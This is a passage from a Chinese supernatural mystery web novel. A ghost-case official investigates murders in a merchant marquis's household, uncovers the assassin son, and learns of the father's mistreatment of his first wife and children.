事实上,为了说服齐昭帝同意,小花费了一晚上的口舌。齐昭帝终于答应,但是要求多带护卫。
小花却觉得普通的护卫多了也没必要,反而连累无辜性命。况且此行要低调行事。
总之最终,齐昭帝还是答应了。
林倾点了点头:“可以。”
一人一猫商量的差不多后,小花也该回去皇宫了。
他没有告诉林倾月的是,今晚出来是瞒着齐昭帝偷偷溜出来的。也是他以一只猫的身份,来和林倾月告别。
等到下次再见,应该就可以恢复人的身体,一起踏上寻找天魂的路途。
林倾月忍不住捏了捏小花的猫脸,叹息:“好可惜呀,我还是挺喜欢你现在的模样。还有碧儿,晚上应该还给你准备宵夜,不吃点再走吗?”
小花摇头,猫脸上露出一抹类似于人的微笑:“以后若有机会,我再亲自和碧儿道谢。若是没有机会……就让她认为,我跑丢了。”
“林副使,我先回宫了。待到约定出发的那一日,我会在城门外等你。”
说罢,他抬起猫爪冲林倾月挥了挥,然后转身离去。
其实今晚他本可以不出来的,该交代的事情也完全可以托人带信。
可他还是想亲自出来一趟,只是单纯地想和林倾月见一面、说说话。仅此而已。
林倾月一进入王府,就见里面张灯结彩,彩绸飘飘,一副喜气洋洋的模样。
这是……为了纳庶妃而准备的?
本来,林倾月吊着东方宴,一来是为了给原主化解执念,二来也是她起了戏耍的心思。
可如今,原主的执念已经了结,而林倾月又准备去赤影之地,就没必要再遛着狗王爷玩了。所以,东方宴愿意纳林如珍那就纳吧。
不过……她会在临走前给东方宴送份新婚大礼,以报答他
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的眼瞎心盲!
第二天,林倾月刚到玄镜司,就听一个司卫来报:“谢大人、林副使,顾家出事了!”
谢守正问道:“怎么回事?”
来通报的司卫道:“今日一早,下人们就发现邻家出了三起命案,顾家夫人郭氏、顾总管,还有昨天请来帮忙的李天胜,全都惨死。”
“最惨的要数那顾家夫人,心都被挖出来了,现场血淋漓的,惨不忍睹!顾家的人都吓**,认定是顾大小姐的鬼魂回来报仇了。顾家下人一大早就派人来玄镜司求助。”
其他的人闻言都议论开来了:
“昨天我们要化念,他们却从外面找来什么三脚猫功夫的人,非把我们赶走。今儿又想吃回头草,当我们玄镜司是什么地方?”
“就是!甭管他们。反正顾家有钱,自己去民间多请些能人异士好了。”
“我们还有一大堆活干,没空搭理他们家!”
谢守正道:“你们这些小兔崽子,思想觉悟就是不行啊!顾家固然可恶,可鬼魂**,我们若是不管,放任其坐大万一成了煞,那就会危害到其他人,影响整个京城的安危!作为公职人员,咱们绝对不能拒接案子。”
众人辈被他这一番训斥,纷纷垂下了头。
大米还忍不住给谢守正竖起了大拇指:“不愧是谢大人,觉悟就是高!”
谢守正却突然话音一转,道:“不过咱们玄镜司也不是清闲的衙门,每天大大小小的案子一堆,忙都忙不完!凡事得有个先来对吧?先把顾家的案子往后推推。什么时候咱们空下来,有人手了,再去处理!”
“还是大人高见!卑职这就把人给打发了!”通报的司卫立刻转身跑走了。
其他的司卫们也暗自窃笑。
虽说他们是公职人员,可成天被那些贵族们欺压,心里难免憋着一口气。
第61章 顾小姐的过去(加更章)
半个多时辰后,文商侯顾淮亲自来了玄镜司。
顾淮是今日一早才快马加鞭赶回京城的,结果一回来,就发现府里出了诡异命案。
于是他立马派人去请玄镜司的人来处理,最后当然没请到,再一细询问便知道了昨天的事儿。
事关重大,顾淮就亲自过来了。
顾淮长得很好看,五官俊朗、身形挺拔,即便已是天命之年,眼角眉梢都落下了岁月的痕迹,依然能看出年轻时是个难得一见的美男子。
只是,他此刻目光里混得几分伤感,显出几分老态。
“哎呦,顾侯爷您老怎么来了?快快请坐。来人,上茶!”谢守正赶忙殷勤地上前,和文商侯寒暄。
顾淮道:“谢大人,本侯特为昨日之事过来致歉。这段时间本侯在外谈生意,家中小女的丧事,由本侯的夫人负责料理。昨夜回来后,本侯才听说那糊涂的女人,居然命人把玄镜司的人赶走,请了外面的驱邪师处理小女的事情。”
“女人家头发长见识短,若是有什么得罪之处,还请谢大人莫要记恨。更何况我夫人她,她昨夜已经被害身亡了……”
说到这里时,顾淮眼眶微红,满面悲伤:“哎,真是家门不幸啊!接下来,还要麻烦谢大人出手相助了。”
谢守正道:“我们玄镜司是官家衙门,但凡涉及诡异之事,不管是朱门还是寒门都义不容辞。只是……”
他为难地看了眼案上的卷宗:“我们确实忙啊!您瞧,这都压了好几十个案子,总得排着队一个个处理不是?再说,衙门里的兄弟们都已经派出去忙活了,今日实在抽不出人手啊!”
其实这话也不算是故意为难,玄镜司确实很忙,每日一早底下的人过来应个卯,然后领了任务就各自去忙了。
就连谢守正,今日还要去处理一桩“飞头”悬案,也是关乎人命,懈怠不得。
唯独林倾月,今日还没领任务,此刻正坐在一边,闲闲地喝着茶,也不插话。
谢守正和那文商侯顾淮应付了几句后,就抱着官帽,匆匆忙忙地要走。
临走前,他悄悄在林倾月耳边道:“顾家的案子涉及人命了,还是得管一管。林副使,交给你了。”
“谢大人,谢大人!”
顾淮追在后面喊了几声,也没把谢守正喊回来,转头看到林倾月,便客气地询问:“您是……”
林倾月把茶杯上桌上一放,淡淡地道:“玄镜司新任副使,林倾月。”
由于玄镜司不涉朝政,也非实权衙门,所以上流阶层对玄镜司一贯轻视,只有用得上时才会求告上门。
所以对于玄镜司内部的人员情况了解得也不多。再加上,东方宴并不喜欢林倾月抛头露面,所以就更没几个人知道林倾月是晋王妃。
此刻文商侯顾淮也只以为,她和谢守正一样就是这里的小官而已。
若是往常,顾淮是瞧不上的他们的。可今日此刻,整个玄镜司已经没有其他空闲人了。
他只好转而求助于林倾月:“林副使,本侯家情况真的十分紧急,万万拖延不得!还请您前往帮帮忙,否则今晚,顾家怕是就要满门被屠了!”
这大齐第一皇商,此刻眼眶含泪,看起来十分可怜。
“这样啊!那确实很紧急,不能再拖了。”林倾月掸了掸裙摆上并不存在的灰尘道,“那走吧,去你家看看去。”
顾淮本还以为要再费些口舌,没想到林倾月这么好说话,一下就答应了。
以顾淮如今的身份,这种跑腿的事情本不需要他亲自出马。
可经过昨夜一场闹,整个顾家都惨不忍睹,若是玄镜司再不出手,只怕麻烦事更多。
当林倾月来到顾家时,就看到侯府的大门敞着,还有拿着包袱的下人们匆匆忙忙收拾着。
侯府家眷众多,眼看家里成了凶宅,能避开的都暂避走了,生怕昨夜的一幕再度重现。
而不能走的,主要都是些仆从。以及像顾淮这种,必须要出面解决问题的当家人。
到了大厅,就看到地上停着三具尸体,覆在尸体上的白布已被血水浸透,惨不忍睹。
林倾月里里外外地看了一圈,特别是顾小姐生前住的院子也去了趟。
最后又回到了大厅,开始查看地上的尸体,“地上摆着的,就是昨夜死的人?”
顾淮点头,目光悲切:“一个管家,一个请来驱邪的。还有个是我夫人郭氏……原本是她负责料理我女儿的丧事,没想到现在……”
他语气微微哽咽,有些说不下去了。
林倾月已经看完了管家和驱邪师的尸体,最后又揭开了郭氏身上的盖布查看。
果然如之前底下人报告的那样,郭氏死得很惨,被开膛剖腹。一颗血淋淋的心,摆在旁边被涂成了黑色。
郭氏的眼睛突兀大睁着,嘴里用手帕堵着,似乎防止她喊叫。
连林倾月瞧着都忍不住摇头叹息:“应该是被活刨而死,真惨。”
她站起来询问顾淮:“你觉得案子的凶手,是人是鬼?”
顾淮道:“昨夜本侯尚未回来。但是据郭氏身边的丫鬟说,看到有个鬼影飘过,穿的是我大女儿身前的衣服。还听到很瘆人的哭泣声。所以,本侯想应该是我那死去的大女儿回来报复。”
“回来复仇?还用这等凶残的手段,看来她对你们顾家人的怨恨很深啊。”
林倾月找了把舒适些椅子坐下,道:“不如,侯爷先给下官讲讲顾大小姐生前的故事。”
顾淮叹了口气,开始讲述长女的生前之事。
“顾念雪,这是本侯长女的名字。她是本侯的第一个孩子,也是唯一一个由本侯亲自抱大的孩子……”
顾淮和原配夫人青梅竹马地长大,成婚后恩爱有加。诞下的第一个孩子,自然也饱受夫妻二人的宠爱。
怕下人粗手粗脚,照顾不好孩子。年轻时候的顾淮亲自照料孩子。
夜晚,他温柔地给孩子唱着小曲,拍着女儿的小屁股哄她入睡。
白天,他抱着女儿舍不放手,还说女孩子就要多宠一些。
连他夫人都说:“念雪能有你这样的爹爹,这辈子一定能过得很幸福!”
顾淮笑着说:“那是当然!我顾淮的女儿,要做天底下最幸福的女孩!”
顾夫人道:“咱们现在这样疼爱她,也不知道将来嫁人了,她的夫君和婆家人能否像我们一样待她?”
顾淮打趣道:“那将来必然要给她找一个顶顶好的男人才行!”
顾夫人温柔地望着丈夫,满眼爱意:“希望我的女儿,将来能嫁一个像她父亲一样的男人。”
再后来,顾夫人又生了第二个孩子,是个男孩。
姐弟俩在父母的宠爱下,渐渐长大。
顾念雪的容貌继承了爹娘的优点,出落成了亭亭玉立的美人,排队说亲的人,几乎要将顾家的门槛踏破。
“女儿嫁都讲究高嫁,可她却偏偏看上了顾淮对头之子。甚至顾淮还怀疑,那男子千方百计地勾引自家女儿,肯定另有图谋。”
“本侯当然不可能将宝贝女儿嫁给那样别有用心之人。为了斩断两人的姻缘,本侯便将她关在家里,不允许她再私自出门。”
“就因为那个男人,本侯和念雪父女间开始生出嫌隙。后来更是赌气嫁给了当时的尚书令。方尚书的年纪,比本侯还大几岁,家里夫人早逝。也不知道怎么的,就突然看上了我女儿。他在朝中地位崇高,念雪又死心塌地非要嫁,本侯没办法只能同意。”
“再后来,方尚书因**被问了罪,罢官
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流放。为免女儿受其牵连,本侯四处请托关系、多方打点,才在方大人被定罪之前,让念雪与之和离,免受流放之苦。”
“那时,念雪的娘早已去世,我也已经娶了郭氏为续弦。念雪出嫁前和郭氏的关系就一直不好,时不时要吵闹一顿。”
“方尚书出事念雪遭受到了很大打击,接回府后就开始疯疯癫癫、言语无状,把家里闹得鸡犬不宁。郭氏成日埋怨本侯不该将她接回来。可不论她变成什么样,总归是本侯的女儿,本侯不能不管她!”
“本侯总以为,时间长了,念雪的心伤缓和些,家里也能慢慢恢复宁静。以后,她哪怕不嫁人都没关系。我们侯府也养得起她。”
“可她闹腾得越来越厉害,就在三个月前,她居然莫名其妙地和庄子上的家奴好上了。”
“本侯乃是堂堂的文商侯,什么大风大浪没有见过?偏偏这个逆女,实在让人失望透顶!”
“所以当她闹着要嫁给那个家奴的时候,本侯爷实在心累,不想再管束她了,就让她自行出府嫁人。”
“只是没想到她……她竟然会悬梁自缢!”
“哎!”他叹了口气。
此刻这大齐首富,位列侯爵之位的男子,仿佛熄灭了所有的荣光,只是一位为女儿悲伤的老父亲。
“更没想到的是,她**之后还不安生,居然要回来报复家人,还用了这样残忍的手段!!”
说到悲伤处,这要强了一辈子的男人哽咽落泪。
“让林副使见笑了。”他拿出手帕擦了擦眼泪。
“听说念雪出事后,本侯就快马加鞭地往京里赶。今日一早,才赶到家门口就听说家里出了凶案!早知如此,当初方尚书出事的时候,本侯就不该帮她和离脱罪!还不如让她跟着去流放,就当没生过这个孽女!”
林倾月道:“看顾侯爷的神情,对顾小姐还念着父女情分。那你的夫人郭氏,为什么昨日会找人换了玄镜司的人?若非如此,昨日顾小姐就该被超度走了。”
“后事是我夫人在料理的,至于她为什么要换人……”
顾淮有些歉意地道,“估计也是被那种三脚猫功夫的人给蒙骗了。她真是糊涂啊糊涂!林副使,虽然我夫人已死,本侯还是代她向贵司道歉!”
林倾月站起来道:“行了,你家里的情况我大致了解了。现在该去顾小姐的坟头看看了——顾侯爷,一起吧?”
顾淮便喊来府里的二管事:“昨日大小姐出殡,葬到了哪里?”
二管事道:“大小姐出殡的之事,夫人交给顾管事全权办理。好像……好像是葬到了长青山上!”
长青山是京城内的普通居民们,家中遇到白事首要选择的墓葬地。
而像顾家这种高门大户,祖坟的选址十分讲究,家中后嗣遇丧都会葬在祖坟里,讲究死后团圆,福泽后代。
而顾小姐,作为顾家的嫡长女,坟地在长青山和平民挤在一起也就罢了,顾淮作为亲生父亲居然都不知道女儿葬在哪里。
“顾侯爷果然是为好父亲!”林倾月讥讽了一声。
顾淮面上挂不住,却还是解释了一句:“念雪是嫁出去的女儿,进不了祖坟……”
长青山并不算高,顺着一条蜿蜒的小路往上走一段,就能看到零散分布的,大大小小的墓碑。
这些墓主的家人,大多是以经商、做工为主,没有自己的田地,只能将家人葬在长青山上。
好处是离得近,祭祀方便,因此每座坟都整理得清爽,大部分还有祭品残留。
顾淮气喘吁吁地走了好半天,几乎把山上的每一个墓碑都看了一遍,可还是没找到顾小姐的墓。
他有些奇怪:“长青山也不大,新坟就那么几座,怎么就找不到念雪呢?”
第62章 起坟
林倾月跟着走了一圈,忽然抬手一指:“那一座!”
那座墓地离群索居,孤零零地隐在一片小山坳里。坟头的土还是新的,却没有任何香火祭品。墓碑的造型像个石钉,上面刻着一行小字:“无名氏之墓。”
顾淮看了一眼就摇头:“无名氏?这……这怎么可能是念雪?念雪怎么能是无名氏呢?”
林倾月道:“是不是,起了坟看看不就知道了?”
“还要起坟?”顾淮明显有些抗拒——不管里面是不是他女儿,都已经**多日,里面都不知道成什么样了
“对,必须起坟!当然,你们家属若是不愿意配合也不勉强,但玄镜司不会再插手贵府之事。”
“别别,我们配合!配合!”
顾淮无奈,只好吩咐手下人动手起坟。
片刻之后,新坟被掘开了一个大坑,露出一方红漆棺木。
随之一股浓郁的阴气也散发出来。虽然顾淮这类普通人看不到阴气,却能感觉到浑身起了层鸡皮疙瘩,十分难受。
“开棺!”林倾月沉着脸喝道。
当棺盖推开的瞬间,腐臭混着铁锈味扑面而来。
只见棺内尸体的手脚被银锥穿透钉在棺壁,暗红血痂顺着银锥凝结。
整个尸身被血浸透,雪白的纱裙黏在发紫的皮肤上,随着棺内阴风轻颤。
最可怖是那张扭曲的脸,眼球暴突欲出,空洞的瞳孔里还凝着干涸的血泪。
狰狞归狰狞,可依然能看出那时顾念雪。
“好恶毒的手段!人都**,还要用镇魂钉钉她四肢、压她魂魄,要让她做鬼都饱受痛苦折磨,不得超生!”
“这,这到底是怎么回事!谁这么恶毒对我的女儿。”顾淮惊骇之余,又悲伤落泪。
“念雪,是爹爹不好,爹爹应该再早一些回来的。念雪,我可怜的女儿啊……”
林倾月冷笑道:“你们找来的大师,且还特意赶走我们玄镜司的人,原来目的就是为了**顾小姐的鬼魂。”
玄镜司处置方式都是先化解,再超度。只有遇到罪大恶极,无法超度的魂魄才会**或者消灭。
只有邪术师才会为了钱财利益,不计后果,依照雇主的需求做事。
“如此恶毒的手段,自然会助长怨念,不生祸事才怪!”
顾淮恼怒地道:“是郭氏……那毒妇居然恶毒至此!念雪再怎么样,也是本侯的嫡长女,她怎么能,怎么敢!”
“郭氏?你的夫人?”林倾月问。
顾淮道:“念雪的母亲,也就是我的原配夫人去世后,本侯就娶了郭氏做续弦。郭氏和我念雪一贯不睦,甚至爆发过几次冲突。本侯原以为,这些都不过是些小事,很少干预。今日才知,她们结怨居然这样深。”
“念雪去世后,后事交给郭氏操办。没想到,郭氏居然会找人给念雪下镇魂钉,让她不得超生!枉费本侯如此信任她,把府里中馈都交由她打点。”
林倾月道:“顾念雪下葬之前已经成了凶厉,今晚若是再不解决甚至可能化为恶煞。而解决的办法,不外乎两种:1、化解执念后送走,这恐怕要麻烦点。2、直接打散。顾侯爷……”
她目光沉沉地望着顾淮:“……你选择哪一种呢?”
顾淮的目光落在棺上,擦了擦眼泪:“劳烦林副使设法超度。不管从前如何,到底父女一场,实在不想她落个魂飞魄散的下场。”
林倾月挑了挑眉头:“好。”
她道:“先把镇魂钉起出来,免得叫她受罪,徒增怨念。晚上,她应该就能出来了,到时候下官再设法超度她的亡魂。等超度之后,重新安葬即可。”
顾淮连忙吩咐下人:“都听到了吗?快把小姐棺材里的东西都弄出来,不可扰了小姐安宁!”
林倾月见情况了解差不多了,便告辞离开。
顾淮正要跟着她一起下山,却听林倾月道:“顾侯爷你就不必下山了,留在墓前正好给你女儿守灵。我等到子时就过来。”
“什么,本侯要在这里呆到子时之后?”顾淮心里莫名地有些害怕,“让下人代为守灵可行?”
“不行,你必须在场。否则,你在哪里她就会跟去哪里。因为你,才是她怨念的根源所在!”
林倾月交代完这一句后,就离开了长青山。
顾淮站在无名氏的目前,“呼
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”的一阵风过,恍惚间仿佛谁唤了一声:“爹——”
顾淮浑身都起了层鸡皮疙瘩,虽然不敢再回头看,可刚才棺内女儿的凄惨一幕总在脑海里盘旋。
不,不能留在这里。就算顾念雪是他的亲生女儿,可变成了恶鬼,也让人害怕啊!
可如今他有求于人,若不按照对方的要求去做。万一人家在撂挑子,不管他们家的事儿呢?
可留在这里,也实在是……瘆的慌!
就得为难之计,他忽然听到一声沉重的钟声响起。
抬头看去,就像对面的山头,隐约露出一片明黄色的建筑——云隐寺!
对,去寺庙!
寺庙里有佛祖镇守,即便再凶恶的鬼魂也无法进入。等子时后,玄镜司的人来了,再去墓前也来得及!
于是,顾淮吩咐手下人守在墓前,自己则去寺庙里寻求庇护。
寺庙里的师傅很好说话,添了些香油钱,就换得了一间干净的厢房。住持还亲自讲经念咒,帮着消除他身上的浊气。
到了傍晚,僧人奉上了精致的素斋供他享用。
顾淮拿起筷子,想到家里的事情,又想起女儿在棺材里的惨状,心绪难平放下筷子。
当夜幕渐渐降临,寺庙内依然是一派安静祥和的模样。
檀香悠悠,安人心神。
他靠在罗汉榻上,不知不觉渐渐睡着。
梦里隐约听到有婴儿的啼哭。
谁,谁在哭?
哦,想起来了。是夫人生了!
梦境里,顾淮看着襁褓里的孩子,又望着窗外的大雪,不觉莞尔:“就叫念雪吧。念雪念雪,愿你此生如雪一样纯净美好。”
然后下一刻,温馨的画面骤然消失,七窍流血的女子站在他的面前,凄厉地喊着:“爹,女儿来找你了!爹爹,你在哪里呀?”
顾淮猛然惊醒,冷汗晕湿了昂贵的丝绸里衣。
原来是梦……幸好是梦。
他刚要松口气,忽然听到窗外传来“呜呜咽咽”的声音,好像窗外有人在低低哭泣。
他惊了一跳,可转瞬间又想起这里是寺庙,魑魅魍魉都不敢入内。念雪她……应该也不会来吧?
第63章 装神弄鬼的人
再看时,才发现刚才“呜呜咽咽”的声音,是夜风穿过窗缝时发出的异响。
他心下稍安,穿了鞋过去想将窗子关紧,免得扰人心绪。
可就这时,一只惨白的手突然破窗而出,向他抓来。
“啊——”顾淮惊叫一声,吓得跌坐在地。
与此同时,一个瘆人的声音传入耳中:“爹爹,你怎么不来看女儿!爹,女儿好疼好疼啊,你来看看女儿啊。爹,爹——”
那声音起初沙哑低沉,可后面却声嘶力竭地喊着“爹”。
顾淮吓得脸色惨白,手脚并用地向厢房外爬去。
“师父,主持!有没有人,来人啊!来人啊!”
可白天还陪在身边的僧人,此刻不知道为什么,一个也不出来了。
整个寺庙好像空空荡荡的,只剩下他一人。
怎么会这样?
为什么鬼魂能进入寺庙?
想到今早看到的郭氏,被开膛破肚挖心而死的惨烈情景,他整个人都在颤抖。
不,本侯不能坐以待毙!
“寺庙里不能呆了,要出去,出去!”
“找玄镜司的人,找林副使!”
他跌跌撞撞地爬起来,就要往外冲去。
就在他即将跨出寺庙大门的时候,锋利的箭正悄悄地瞄准了他。
“嗖”的一声,那箭带着破风的呼啸声,向他身上的要害处射来。
顾淮也略通武艺,听到身后的响动,身子一侧后就闪开了。
与此同时,他大喝一声:“来人,拿下!”
一声令下,暗伏在周围的护卫尽数冲出,将刚才射箭的人按倒在地。
而顾淮也卸去了刚才惊恐的神情,负手昂首,走到那人身前,冷哼一声:“装神弄鬼,本侯终于抓到你了——抬起头来,让本侯看看你到底是什么人!”
“侯爷命你抬头,听到了没有!”一个护卫恶狠狠地抓在那刺客的头发,迫使他抬起头来。
在火把光的映照下,只见那是个20岁左右的男人,穿着一身白衣,脸也涂抹成了青灰色,披头散发,看向顾淮的眼里满是怨毒之色。
“真可惜,差点就能杀了你!”被抓之后,他没有丝毫的惶恐,只有遗憾。遗憾没能杀死顾淮。
“哼,雕虫小技还敢在本侯面前卖弄?昨日潜入顾家**的,也是你吧?”
顾淮昨天虽然不在现场,可他这样老谋深算的人,又怎么可能被那些事情给吓到?
经过勘察不难发现,府里死的那三人:夫人郭氏、顾管家、李天胜,都是遭遇**。
不过凶手异常狡猾,伪装成了鬼**而已。
为了抓住凶手,也为了麻痹对方,顾淮没有拆穿,甚至还亲自去玄镜司请林倾月上门勘察。
而他自己,则投宿是寺庙里,坐等凶手上门,来个瓮中捉鳖。
“看你面生,本侯应该和你无冤无仇,你为何要致本侯于死地?还是说,是别人指使?是谁,说!”
“好一个面生。”年轻的此刻突然笑了起来,眼底里隐约有泪花浮现,“我就是看不惯你道貌岸然的样子,我就是要杀你!顾淮你该死,该死!”
他咆哮着,像发狂的野兽一般,看向顾淮的眼神,恨不得要将他生吃活剥了。
“你要本侯死?哼,恐怕先死的是你!”
顾淮说着接过护卫手里的刀,声音冷酷而无情,“敢潜入顾家**,真是好大的胆子,本侯要先断你两条手,再慢慢将你折磨致死!”
说罢一刀挥下,却听“咣当!”,刀被什么东西给弹成了两截。
“什么人!”顾淮转头看去,就见寺庙外,石阶下,林倾月穿着一袭墨色浮光锦,手撑一把血红色的幽冥伞,伞骨梢下悬挂的引魂铃“叮叮当当”唱响。
踏着石阶,她一步一步跨入了寺门,走进了这庄严的寺庙。
周围的灯光、火把璀璨,在她黑色的裙摆上映出一
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片浮光掠影。
伞面轻抬,露出一张明艳动人的面容。她唇角轻启,冷声质问:“顾侯爷这是在动用私刑吗?”
玄镜司的人,顾淮还是要给几分面子,于是收了刀,道:
“本侯也是被气昏了头!就是这人,刚才竟然装神弄鬼的行刺本侯。幸好早有准备,否则本侯的命都要葬送在此人手里!”
“还有昨夜家中出的几起命案,应当也是这人所为!本侯这就命人把他送去廷尉衙门,听后发落!”
林倾月却忽然问道:“你真的认不出他了?顾念安,文商侯府的嫡长子。”
“什么?”顾淮先是一惊,后又不敢置信,“怎么可能?本侯的嫡长子,念安他……他在十多年前就已意外身亡了啊!”
“不信吗?那你仔细看看他耳后的胎记,是不是和顾念安的一样?顾侯爷,你应该没有忘记你长子的胎记吧?”
顾淮赶忙要去看,可那刺客却拼命地挣扎、抗拒,愤怒地大吼:“我不是你儿子!你这种薄情寡义的人,怎么配有儿子?”
然而,顾淮还是看清楚了他耳后的一抹胎记。
“念安,你真是念安,真是我儿?可你为何不认爹,还要杀你的亲生父亲?”
顾念安依然是满脸仇视,若不是被护卫抓着手脚,肯定又要动手。
顾淮又问林倾月:“林副使,这些你是怎么知道的?”
林倾月道:“是顾大小姐刚才告诉我的。”
“你说什么?”说话的是顾念安。
刚才还凶神恶煞的顾念安,此刻却收敛了身上所有的刺,哀求地询问林倾月:“你是玄镜司的人,你能看到我姐姐对不对?我姐姐在哪里?能不能让我再见见她?”
“寺庙清净之地,不宜打扰。走吧,我们去‘无名氏’的坟前。”
说罢,林倾月打着伞,走出寺庙。一身黑裙融入深浓的夜色里,引魂铃铛依旧叮叮当当地作响。
第64章 顾家往事
顾念雪的棺材裸露在坟墓的坑洞里,不过棺内的镇魂钉已被取出来,里面的血迹也被清理过。看起来虽然不似白天那样狰狞,依然有些可怖。
顾淮身边只留下两个得力的护卫,其他人都站在稍远一些的地方,免得听到不该听到的。
“林副使,现在可以说了吧?这一切到底怎么回事?”
林倾月道:“这事,还是让当事人来讲述比较好——顾小姐,你可以出来了!”
话音落下的同时,幽冥伞骤然旋动,伞面上的符文焕发出了金色的光芒,流光溢彩似乎活了过来一般。
阴风卷着腐叶扑向顾念安,使得他本能地闭上了眼。
风停时,血红色的油纸伞面还在簌簌轻颤。
林倾月伞下不知何时凝出一道女子的虚影,月白绡纱的裙摆层层叠叠垂落。
女子面容如旧,没有瞳孔的眼睛透着迷离与怅惘。
似乎是察觉到了顾念安的目光,她缓缓转头,苍白如纸的脸上依稀还有血泪晕染过的痕迹,凝着生前的遗恨。
“姐姐……姐姐!”顾念安扑过去,想像从前那样扑进长姐的怀里。可他的身体,却直直地穿过里那道虚影。
他最敬、最爱的姐姐,已经成了一抹幽魂,再也触碰不到了。
顾家的故事,要从顾淮年轻时说起。
顾淮原本姓孙,叫。
孙淮本是寒门出生,自小丧失双亲,又被家族中的叔伯欺负,不仅抢占他的财产还将他赶出家门自生自灭。
走投无路之下,孙淮投奔到了京城的姨母家。
姨母夫家姓顾,是一个大姓士族下的分枝,虽然不算顶级豪门,却也是显贵人家。
孙淮在顾家,被姨夫安排进了家里的商号,学些经营之道。
不成想几年之后,长大的孙淮却和表妹顾秀好上了。两人私定了终身,还有了夫妻之实。
姨母知道后,气得显些把孙淮给打死。
顾家乃是士族,女儿又是嫡女,如何能配那身份地位的孙淮?
后来还是顾淮主动提出愿意入赘秦家,姨母、姨夫才点头答应。
入赘之后,孙淮就成了顾淮。但那时他只能算勉强挤入了贵族圈,依然无法抹消身份的低微。
在外,他得不到上流社会的认可和尊敬。
在内,为了讨岳父和岳母的欢心,他只能拼命地对妻子好。
妻子生下长女顾念雪后,他亲力亲为地照料孩子,渐渐获得了丈人的认可。给了他许多资源,甚至帮他拿到了茶叶的经营权。
顾淮是个经商的奇才,短短几年之内,就把生意做得红红火火,累计下巨额家业。
恰好那年齐国遭遇大灾,饿殍遍野。顾淮是个人精,趁着灾年老早就囤积了大量的粮食,想着大赚一笔。
他夫人劝道:“这种钱赚了损阴德,我们又不缺钱,何必要喝灾民的血肉?不如把你囤积的钱财和米粮都拿去赈灾。就当给我们的一双女儿积德了。”
一句话瞬间点醒了他。钱财他已经不缺了,唯独缺少一个上升的台阶,而这次恰是好时机!
于是,他听从妻子的劝谏,在齐昭帝刚刚登基,国库空虚,正为灾民头疼的时候,他站出来捐款捐物。
而齐昭帝恰好需要一个表率,以号令其他的豪门贵族出来助力。
于是,齐昭帝破格封了顾淮“文商侯”的爵位,并大肆表彰。
“文商侯”虽然只是荣誉爵位,没有职务和权势,但这一封却让他成功的在士族里站稳脚跟。
也是有了这层身份,他得以成为皇商,生意越走越大,最终成为齐国首富!
可男人的心啊,总是欲求不满。
有了权势名利之后,他就开始贪恋美色,外室养了一房又一房。
当丈人和丈母先后去世后,他干脆也不遮掩了,直接把女人带回了家。
妻子哭着问他:“当初你答应了我爹娘,一生不纳妾室,这才几年你的誓言都忘了吗?”
曾经温柔体贴的男人,此刻看着妻子却是满脸的不耐烦:
“世间男子,但凡有些钱财的,谁不是一妻多妾?你也不看看你都多大年纪了,还和那些十
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几岁的小女孩拈酸吃醋,一点当家主母的气度都没有!”
妻子被气得一病不起,他丝毫不关心,还以妻子体弱不能再掌中馈为由,娶了平妻入府。
也是在娶平妻的那天,妻子撒手人寰,留下一双可怜的儿女:顾念雪、顾念安。
那时候,顾念雪已经十几岁了。她从小被父亲呵护长大,见识过父母恩爱的模样,也享受过最慈祥的父爱。
所以,她也很难接受父亲后来的翻脸无情,可作为闺阁女儿,她偏偏无可奈何。
她能做的就是尽可能地逃离这个已经陌生的家。
母亲在世时,曾为她说了一门亲事,乃是母族那边的一个远亲,人品也不错。最重要的是,两人彼此有情。
可偏偏顾淮为了拉拢皇帝身边的高官,居然背弃婚约,将女儿许配给了当时的尚书令做填房,以此交换利益。
顾念雪原本宁死不从,顾淮就抬出了她弟弟顾念安:
“念雪,你不为自己着想,也该多为弟弟的前程考虑。他是嫡长子,将来顾家的一切都会是他的。可你这长姐若是不争气,只顾自己风花雪月,那念安将来有样学样怎么办?父亲怎么能放心把家业交给他啊。”
这话说得委婉,可顾念雪听出了,父亲这是用弟弟的前程逼迫。
如今的顾淮女人多,不愁子嗣。
可她就那么一个弟弟了!
姐弟俩相差了十岁,母亲死之前,拉着顾念雪的手叮嘱:“你父亲已然指望不上了,念雪,弟弟就只能交给你了。”
在后来的很多年里,她以长姐的身份兼顾着母亲的职责,督促弟弟读书,教导他好好做人。
弟弟念安也很爱护姐姐,继母欺负姐姐的时候,他会像个小狼崽一样挡在姐姐面前。
得知姐姐被逼着嫁给一个老男人时,当时个子小小的弟弟冲到顾淮面前,凶狠地质问:“你配做我们的爹爹吗?哪个爹爹会像你这样对待自己的亲生骨肉?”
他说着就呜呜地哭了:“你已经对不起娘了,为什么还要欺负我们呢?”
第65章 顾家往事(下)
可惜,稚子的眼泪并没有换来顾淮的良知。
他以忤逆为由,将顾念安关在祠堂里,并对顾念雪道:“你出嫁之日就是你弟弟从祠堂出来之时!若你不答应嫁给方尚书,那你弟弟就永远别想出来!”
顾念雪知道,顾淮说到做到,他真的能狠得下那个心!
那天晚上,顾念雪亲手做了份糕点给弟弟送去。
看着弟弟吃完,她温柔地给弟弟擦嘴,叮嘱道:“以后姐姐不在家了,你要收敛些脾气。莫要随便和他们起冲突,小心保护好自己。娘不在了,这个家已经面目全非了。”
“姐姐,你是不是答应爹嫁给方尚书了?你不能嫁啊,我听说他年纪比爹还大,怎么配做你的夫婿?泽哥哥呢?你去找他好不好?哪怕私奔也行啊!”
“你泽哥哥也有他的难处。他们家族和爹爹关系闹僵了,不可能再接纳我了。念安别哭,你一哭姐姐也想哭了。你要好好长大,只有等你长大了有能耐了,才能当姐姐的靠山,给姐姐撑腰。明白吗?”
熬到弟弟长大,熬到他能独当一面,一切就好了——这是顾念雪在心里给自己立的期盼。
人啊,只要有了期盼,再苦、再难熬的时光都能挺过去。
所以,哪怕婚后方尚书再如何折腾她、**她,她都咬牙忍着。
可没过多久,噩耗传来。
弟弟顾念安外游玩时,失足落水,尸骨无存。
得知这个消息后,顾念雪疯了一般地冲回顾家,质问顾淮:“念安怎么会落水?他从小就怕水,怎么会去河边游玩?是谁害了他,你说,你说啊!”
顾淮一巴掌扇了过去:“你看看你的样子,简直就像个疯婆子,哪有半点官家夫人的样子?你弟弟的死是个意外,不要总想着别人害他。他是爹的嫡长子,爹爹难道还会害他?”
“你不会害他,郭氏呢?她最近不是刚生了个儿子吗?是不是怕念安将来和她的儿子抢家业,所以就害了念安?对,一定是这样,之前她就干过这样的事情。幸好被我发现了,她……”
